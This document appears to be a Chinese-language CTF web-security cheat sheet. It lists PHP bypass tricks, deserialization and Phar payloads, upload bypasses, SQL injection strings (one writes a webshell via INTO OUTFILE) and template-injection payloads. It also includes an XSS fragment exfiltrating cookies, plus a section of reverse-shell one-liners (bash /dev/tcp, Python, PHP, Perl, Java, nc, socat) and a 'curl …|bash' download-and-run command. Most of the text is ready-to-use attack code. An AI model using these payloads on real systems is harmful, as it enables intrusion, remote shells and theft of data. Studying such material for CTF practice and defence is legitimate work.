CTF web小总结

CTF web小总结

之前写的一些小技巧吧,记录一下,有机会会继续补充的!

PHP绕过技巧

preg_replace

绕过preg_replace('/('.$re.')/ei','strtolower("\\1")',$str);

执行phpinfo的payload:\S*=${phpinfo()}

参考: 深入研究preg_replace与代码执行

PHP伪随机数
mt_srand(seed)
mt_rand()
只要种子一样,那么生成的随机数是不会变的,所以我们可以利用php_mt_rand4.0进行爆破种子
比如:
mt_srand(12345)
mt_rand()
第一个肯定是1996335345
HTTP头相关绕过

伪造IP:

一般我们都知道可以用XXF伪造IP:X-Forwarded-For:127.0.0.1
当XXF被过滤的时候我们可以利用Client-IP: 127.0.0.1和X-Real-IP: 127.0.0.1进行绕过
绕过is_numeric
代码如下:
if (is_numeric($password)) {
	echo "password can't be number
"; }elseif ($password == 404) { echo "Password Right!
"; } 传入password=404%0a即可绕过
数字长度绕过

采用科学计数法, 100000000 可以表示成10e8

绕过 (file_get_contents($text,‘r’)===“xxxx”)

利用php://input协议进行绕过

POST /?text=php://input

xxxx

data://text/plain协议也可以绕过

?text=data://text/plain;base64,xxxx的base64加密
JWT
在线解密:https://jwt.io/
爆破工具以及安装方法:
git clone "https://github.com/brendan-rius/c-jwt-cracker"
apt-get install libssl-dev
make
MD5 hash长度扩展攻击

原理:Hash Length Extension Attack

工具安装:

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

使用方法:

比如:md5(secert_key+scan)
secert_key为16位、需要把read拓展进去,也就是变成md5(secert_key+scan+read)

hashdump
input Signature: md5(secert_key+scan)值
input Date:	scan
input Key Length: 16
Input Data to add: read	———— 输入完毕Enter即可
绕过intval($num)==$num && 回文
?num=1000000000000000.00000000000000010
绕过 $md5==md5(md5($md5))
$md5=0e1138100474 
绕过$md5==md5($md5)
$md5=0e215962016

PHP反序列化

反序列化逃逸

第一种关键词过滤,变少的

就是由于关键词过滤,导致字符变少的,比如说php置换为空,flag置换为空,这种都有可能导致字符逃逸

代表题目[安洵杯 2019]easy_serialize_php

第二种关键词过滤,变多的

比如说0ctf中的piapiapia,由于where–>hacker导致字符数增加,根据反序列化的特性:反序列化中值的字符读取多少其实是由表示长度的数字控制的 ,;}之后的不会起作用。

代表题目0CTF piapiapia、i春秋2020新春公益赛 babyphp

session反序列化

主要就是由于session处理器不同所导致的问题,比如说系统默认为 php_serialize,而页面中却设置为php,那么就极有可能导致安全问题。具体原理参考文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

代表题目:Jarvis OJ WEB PHPINFO

python反序列化
import pickle
import urllib

class test(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

payload=pickle.dumps(test())
payload=urllib.quote(payload)

print payload
Phar反序列化

要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

db = new FileList();

	$phar = new Phar("1.phar");
	$phar->startBuffering();
	$phar->setStub("");
	$phar->setMetadata($a);
	$phar->addFromString("test.txt","test");
	$phar->stopBuffering();
?>

将phar上传,通过phar://伪协议解析phar文件时,会将meta-data进行反序列化

注:只有以下函数通过phar://伪协议解析phar文件才会将meta-data进行反序列化

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_ readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile

PHP上传绕过

短标签

有时在上传的过程中会出现php关键词过滤,这时候可以尝试一下短标签

需要short_open_tag = On

如果asp_tags=On那么还支持<%%>的写法

绕过对

1、

2、对内容进行base64编码,解析时再解码

文件头检测绕过

一般使用GIF89a进行绕过,不过不适用于.htaccess文件上传,如果这样上传会导致.htaccess无法生效

.htaccess中绕过文件头检测:

1、在.htaccess前添加
#define width 1337
#define height 1337
#在.htaccess是注释符,所以.htaccess文件可以生效

2、在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
后缀名绕过

phtml、php5、php7等

.user.ini

nginx的服务器,而且上传目录下有一个php文件,故可以上传.user.ini

GIF89a
auto_prepend_file=1.gif #php页面自动包含文件
.htaccess

apache的服务器,可以上传.htaccess

同时绕过对

第二种:

类似于把文件名后缀1解析成php

SetHandler application/x-httpd-php

shtml文件的SSI注入

如果支持shtml,那么可以上传一个shtml文件,里面进行ssi注入:

将文本内容直接插入到文档中<#include>


直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

php文件包含

文件包含
php://filter/read=convert.base64-encode/resource=文件
NGINX日志路径包含
file=../../../../../var/log/nginx/access.log

SQL注入

过滤绕过

单引号被过滤:

并不一定就能够防止sql注入
当sql语句为:select * from users where username='xxxx' and password='xxxx'时
我们可以使用\进行绕过,构造username=admin\,password=or 1=1#
这是sql语句就会变成:
select * from users where username='admin\' and password='or 1=1#'成功绕过

select被过滤:

这个时候可以盲猜表名进行盲注
如果时堆叠注入可以使用handler代替select查询:
1'; handler FlagHere open as hack; handler hack read first; handler hack close;

=被过滤:

可以用like进行绕过

and被过滤:

可以使用&&绕过

or被过滤:

可以使用||绕过
or被过滤意味着information不能使用,不过可以用mysql.innodb_table_stats和sys.schema_auto_increment_columns

in被过滤:

同样意味着information不能使用,不过可以使用sys.schema_table_statistics_with_buffer代替

空格绕过:

/**/
updatexml报错注入

如果过长无法显示可以使用substr、mid剪切,或者使用left、right

基于regexp的时间盲注
select * from flllllllag where id=1 and if((substr((flag),1,1) regexp "^f"), sleep(5),1)
无union select和字段名注数据

常用的无字段名注入都依赖于union select,如果不允许union和select同时出现,那可以使用如下方法

如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x'

如果由两列: 需要将查询语句与相同数量的列进行比较,再配合 <= 进行盲注

如果说数据库中的table2中有两列,一个id,一个flag,这可以采用如下方法进行盲注
执行select (select '1','e~')>(select * from table2 limit 1)显示0
执行select (select '1','f~')>(select * from table2 limit 1)显示1
执行select (select '1','fl~')>(select * from table2 limit 1)显示1

不过注意一点mysql默认是不区分大小写的,所以我们可以转化成16进制再执行

PDO宽字节注入
check过滤了:
'/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i'

if(check($id)){
    $query = "select balabala from table1 where 1=?";
    $db->query("set names gbk");
    $row = $db->prepare($query);
    $row->bindParam(1,$id);
    $row->execute();
}
如果没有过滤那么可以使用宽字节进行注入
但是这里过滤了很多的东西,基本都过滤了,但是我们可以利用
SET @x=执行SQL语句的16进制;PREPARE a FROM @x;EXECUTE a;进行注入

load_file

有时候权限可以使用该函数时,可以直接读取文件:load_file(’/var/www/html/xxx.php’)

EXIF注入

奇葩注入,上传图片,然后在EXIF的comment中写入注入语句即可

CTFshow中的题目,利用工具:exiftools,payload:

exiftool -overwrite_original -comment="A_dmin\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"
SQLite注入
sqlite_master是sqlite数据库中的一个隐藏表,,,,有如下字段:type/name/tbl_name/rootpage/sql
usr=' union select name,sql from sqlite_master--+&pw=admin
查询语句:
usr=' union select id,id from Users--+&pw=admin
usr=' union select id,name from Users--+&pw=admin
usr=' union select id,password from Users--+&pw=admin
usr=' union select id,hint from Users--+&pw=admin
对应结果:
name=+1;
name=+admin;
name=+3fab54a50e770d830c0416df817567662a9dc85c;
name=+my fav word in my fav paper?!;
文件名注入

数据库语句可能为:

INSERT INTO `xxx`(`id`, `name`) VALUES ('id号','图片名') 

注入方法:

conv函数将16进制转化为10进制进行输出
'+(conv(substr(hex(database()),1,12),16,10))+'.jpg

SSRF

格式化字符串

出现如下代码时,并且对参数没有过滤时:

print(sprintf("$url method&content_size:$method%d", $detect));

可以传递$method=GET%s%,在ssrf题目中可以读取内网的文件

XSS

原生类XSS

代码如下:

$a = $_GET['yds_is_so_beautiful']; 
echo unserialize($a); 

这里有个echo,应该是包含__toString的,那我们可以使用Error和Exception类,直接用Exception,因为Error只适用于php7

window.location.href='IP'+document.cookie"));
echo urlencode($a);
?>
将结果传递就行

命令执行

各种绕过

空格绕过

$IFS、$IFS$9g、 ${IFS} 

关键词绕过,使用变量拼接,如flag被过滤:

a=g;cat fla$a.php 

cat被过滤可以使用cut,more,tail,head等命令

奇淫技巧

cat `ls` 会查看ls出来的文件

无参RCE

即只能通过无参函数来进行命令执行

查看当前目录:var_dump(scandir(current(localeconv())));

读取倒数第二个文件:readfile(next(array_reverse(scandir(current(localeconv())))));

readfile(next(array_reverse(scandir(getcwd()))));

还有session_id(session_start())也能够利用

还有getallheaders

请求头最后添加:
hacker: system('cat flag.php');

payload=eval(end(getallheaders()));
Curl命令反弹shell

接收端创建文件shell.txt写入bash -i >& /dev/tcp/[ip]/[port] 0>&1

在命令执行处执行curl http://接收端IP/shell.txt|bash

无数字无字母RCE

一般采用异或、自增、取反进行绕过

异或脚本:


function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

自增:

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//assert($_POST[_]);
绕过open_basedir
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
php数学函数getshell
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});&pi=system()&abs=ls /
一句话反弹shell

本机监听:

nc -lvvp 8080

python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.175.38",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python一句话获取标准shell:
python -c "import pty;pty.spawn('/bin/bash')"

php:

php -r '$sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

bash直接反弹:

bash -i >& /dev/tcp/192.168.37.131/8080 0>&1

nc反弹:

nc 192.168.31.174 8080 -t -e /bin/bash

perl脚本反弹:

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

java脚本反弹:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

msfvenom 获取反弹一句话

msfvenom -p cmd/unix/reverse_xxxx lhost=1.1.1.1 lport=12345 R

socat 反弹一句话

# 第一步:下载socat到/tmp目录下
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 第二步:给socaat授予可以执行权限
chmod 755 /tmp/socat
#第三步:反弹shell到目标主机的12345端口
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.41:12345
Linux知识点

在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。

cat /proc/*/fd/*

查找报告xxx内容的文件内容

find /etc -name "*" | xargs grep "flag{"

模板注入

smarty php模板注入

比如说有个回显IP的: X-Forwarded-For:{{system("cat /flag")}}

Twig PHP模板注入

提交 {{7*‘7’}} 得到49

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
jinja2 Python模板注入

提交 {{7*‘7’}} 得到7777777

payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()") }}
{% endif %}
{% endfor %}
Tornado模板中的 handler.settings

获取handler.settings环境变量 {{handler.settings}}

信息泄露

PHPINFO
目录遍历
git泄露
.DS_Store
robots.txt泄露
备份文件泄露

.bak、.swp、.php~

.swp文件恢复使用命令:vim -r .index.php.swp恢复

源码泄露
常见的网站源码备份文件后缀
tar、tar.gz、zip、rar
常见的网站源码备份文件名
web、website、backup、back、www、wwwroot、temp
用户历史文件

/home/www/.bash_history

JAVAweb应用目录
/WEB-INF/web.xml:				Web应用程序的配置文件
/WEB-INF/classes/:				包含站点所有的class文件
/WEB-INF/lib/:					存放需要的jar文件
/WEB-INF/src/:					源码目录
/WEB-INF/database.properties:	数据库配置文件

你可能感兴趣的:(CTF题,杂七杂八)